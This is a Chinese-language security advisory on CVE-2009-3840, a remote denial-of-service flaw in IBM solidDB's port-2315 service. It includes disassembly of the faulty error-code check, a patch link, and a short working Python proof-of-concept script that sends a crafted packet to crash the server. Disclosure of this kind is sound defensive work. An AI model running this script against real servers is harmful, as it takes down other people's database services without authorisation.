BUGTRAQ ID: 37053
CVE ID: CVE-2009-3840
IBM solidDB是可实现电信级性能的关系数据库。
IBM SolidDB包含有一个内嵌式的数据库服务组件(solid.exe),该服务默认启用,在2315/tcp端口上接受远程连接。在从网络接收到报文时,服务会基于报文中所指定的出错代码编号确定并显示出错代码字符串。如果攻击者发送了带有无效出错代码编号的特制报文,就可以触发异常,强制终止服务。以下是有漏洞部分的代码段:
/-----
0061611F 0FB65424 02 MOVZX EDX,BYTE PTR SS:[ESP+2]
00616124 0FBF4C24 03 MOVSX ECX,WORD PTR SS:[ESP+3]
00616129 83F9 FF CMP ECX,-1
0061612C 0FBF4424 05 MOVSX EAX,WORD PTR SS:[ESP+5]
00616131 8956 10 MOV DWORD PTR DS:[ESI+10],EDX
00616134 8B5424 07 MOV EDX,DWORD PTR SS:[ESP+7]
00616138 894E 14 MOV DWORD PTR DS:[ESI+14],ECX
0061613B 8946 18 MOV DWORD PTR DS:[ESI+18],EAX
0061613E 8956 0C MOV DWORD PTR DS:[ESI+C],EDX
00616141 7D 09 JGE SHORT solid.0061614C
00616143 83F8 FF CMP EAX,-1
00616146 7D 04 JGE SHORT solid.0061614C
00616148 3BC8 CMP ECX,EAX
0061614A 74 05 JE SHORT solid.00616151
0061614C B8 01000000 MOV EAX,1
00616151 83C4 0C ADD ESP,0C
00616154 C3 RETN
上述代码基于报文中的Error Code字段检查出错情况,如果Error Code值小于或等于-1就会处理出错情况,在这种情况下会向用户显示包含有相关描述性的出错字符串的MessageBox。但通过创建Error Code字段值为非-1的负数值的报文,查询相应出错字符串就会失败,触发不可恢复的错误,终止服务器进程。
IBM solidDB 6.30.0.33
IBM solidDB 6.30.0.29
厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www-01.ibm.com/support/docview.wss?rs=0&q1=solidb&uid=swg24024510
/-----
#!python
import socket
import struct
#maxlen 0xA
a = struct.pack('<b', 2)
a += struct.pack('<H', 0)
a += struct.pack('<H',0xFEFF)
a += struct.pack('<H',0xFEFF)
a += "1234"
target_ip = 'X.X.X.X'
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect ((target_ip, 2315))
s.send(a)
s.close()
- -----/